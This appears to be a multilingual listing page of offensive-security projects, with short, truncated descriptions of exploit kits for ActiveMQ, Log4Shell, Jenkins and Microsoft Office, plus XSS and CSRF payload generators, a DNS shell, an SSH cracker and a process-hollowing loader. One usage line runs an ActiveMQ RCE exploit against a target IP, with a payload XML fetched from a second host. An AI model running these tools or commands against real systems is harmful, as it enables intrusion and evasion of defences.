CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le paramètre -x...

php-jpeg-injector

php-jpeg-injector Injects php payloads into jpeg images. Related to this post. Use Case You have a web application that runs a jpeg image through PHP's GD graphics library. Description This script injects PHP code into a specified jpeg image. The web application will execute the payload if it...

php-jpeg-injector

php-jpeg-injector Injecte des payloads PHP dans des images JPEG. Lié à ce post. Cas d'utilisation Vous avez une application web qui traite une image JPEG via la bibliothèque graphique GD de PHP. Description Ce script injecte du code PHP dans une image JPEG spécifiée. L'application web exécutera l...

Log4Shell-obfuscated-payloads-generator

Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator peut générer des charges utiles primaires obfusquées ou secondaires obfusquées pour CVE-2021-44228 ou CVE-2021-45046 afin d'éviter la détection par les WAF. L'idée de conception de...

CVE-2024-25897

paramètres ip , puerto , ruta sortie de l'exploit Panneau d'aide explication de l'exploit Voici l'explication du code en Markdown : Explication du Code Ce script est conçu pour exploiter une vulnérabilité spécifique dans Jenkins CVE-2024-23897. Il permet de télécharger un fichier JAR depuis un...

crauEmu

Mascotte conçue par@kottsarapkin crauEmu est une extension uEmu pour développer et analyser des payloads pour les attaques par réutilisation de code. Diapositives de ZeroNights 2019 Démo 1 - X32-64, Edge, rop-gadgets de pwnjs Démo 2 - ARM64, chaîne de callbacks checkm8 RopEditor Installation 1...

xssless

xssless An automated XSS payload generator written in python. Usage 1. Record requests with Burp proxy 2. Select requests you want to generate, then right click and select "Save items" 3. Use xssless to generate your payload: ./xssless.py burpexportfile 4. Pwn! A more detailed tutorial can be fou...

xssless

xssless Un générateur automatisé de payloads XSS écrit en python. Utilisation 1. Enregistrez la ou les requêtes avec Burp proxy 2. Sélectionnez la ou les requêtes que vous souhaitez générer, puis faites un clic droit et sélectionnez "Save items" 3. Utilisez xssless pour générer votre payload :...

Mezzanine-CMS-6.1.0-XSS

Mezzanine-CMS-6.1.0-XSS CVE-2025-50481 Описание Уязвимость межсайтового скриптинга XSS в компоненте /blog/blogpost/add в Mezzanine CMS v6.1.0 позволяет злоумышленникам выполнять произвольные веб-сценарии или HTML-код путём внедрения специально сформированной полезной нагрузки в запись блога. CVE:...

CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v4.0 Exploit toolkit CVE-2017-0199 - v4.0 est un script Python pratique qui fournit aux testeurs d'intrusion et aux chercheurs en sécurité un moyen rapide et efficace de tester la RCE Microsoft Office. Il peut générer un fichier RTF/PPSX malveillant et délivrer...

DNS-Shell

DNS-shell DNS-Shell est un shell interactif utilisant le canal DNS. Le serveur est basé sur Python et peut fonctionner sur tout système d'exploitation disposant de Python. La charge utile est une commande PowerShell encodée. Comprendre DNS-Shell La charge utile est générée lorsque le script serve...

Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit Script en bash permettant d'identifier et/ou d'exploiter la vulnérabilité Log4shell à distance. Cet outil effectue différents tests en utilisant des payloads LDAP et les en-têtes X-Api-Version, User-Agent et X-Forwarded-For. Toujours utiliser ce script avec l'autorisatio...

CSRFER

CSRFER / / | \ | | \ | / /\ --.| |/ / | | | | |/ / | | --. \ /| | | || / | /// / |\ | | | || |\ \ //| \| /| | -.--. " '-, ',' 2 \ \q \ . \ .--' '----. / . . \ .'.' \ .-.\ '-, ,/ .---;- . \ \ .\ // '-. \ \ | '. , '-. c=' Cooo -. '-. '. '-. \ snd '-. '. '-. \ ---' CSRFER est un outil...

Beleth

Beleth Cracker SSH basé sur dictionnaire Usage: ./beleth OPTIONS -c payload Execute payload on remote server once logged in -h Display this help -l threads Limit threads to given number. Default: 4 -p port Specify remote port -P password Use single password attempt -t target Attempt connections t...

macOSTools

macOSTools Outils offensifs macOS AUnit Exemple de projet XCode pour les plugins Audio Unit MigrationToolPayload Plugin d'outil de migration SpecialDelivery Plugin d'installation authplugin Plugin d'authentification dylibinjection Code source pour l'injection dylib. Basé sur le code de Jonathan...

PichichiH0ll0wer

PichichiH0ll0wer PichichiH0ll0wer О проекте Возможности Методы внедрения Установка Использование Благодарности О проекте --== Загрузчик для внедрения в процессы Process hollowing, написанный на Nim, только для PE ==-- Я создал PichichiH0ll0wer, чтобы учиться и вносить вклад, конечно, но также...

haptyc

Haptyc Cadre de génération de tests Qu'est-ce que Haptyc ? Haptyc est une bibliothèque Python conçue pour ajouter la prise en charge des positions de payload et des types d'attaque Sniper/Clusterbomb/Batteringram/Pitchfork dans Turbo Intruder. Bien que Haptyc atteigne assez bien ces objectifs, il...

haptyc

Haptyc Test Generation Framework What's Haptyc? Haptyc is a python library which was built to add payload position support and Sniper/Clusterbomb/Batteringram/Pitchfork attack types into Turbo Intruder. While Haptyc accomplishes these goals fairly well it also introduces a simpler way to express...

CVE-2018-12533

Générateur de payload RF-14310 / CVE-2018-12533 Basé sur les recherches de Lucifaer Tout le crédit revient à https://github.com/Lucifaer Références https://access.redhat.com/security/cve/cve-2018-12533 richfaces-jboss-poc Preuve de concept facile à déployer pour pratiquer l'exploitation de la...

CVE-2019-19871-AuditGuide

Mise à jour 22-01-2020 Il existe désormais un outil de FireEye qui aidera à analyser ces éléments ci-dessous. La clé est d'avoir suffisamment de journaux pour remonter jusqu'au 09-01-2020 afin d'avoir une chance de voir ce qui a été fait au-delà de l'exploitation. S'il trouve des fichiers de char...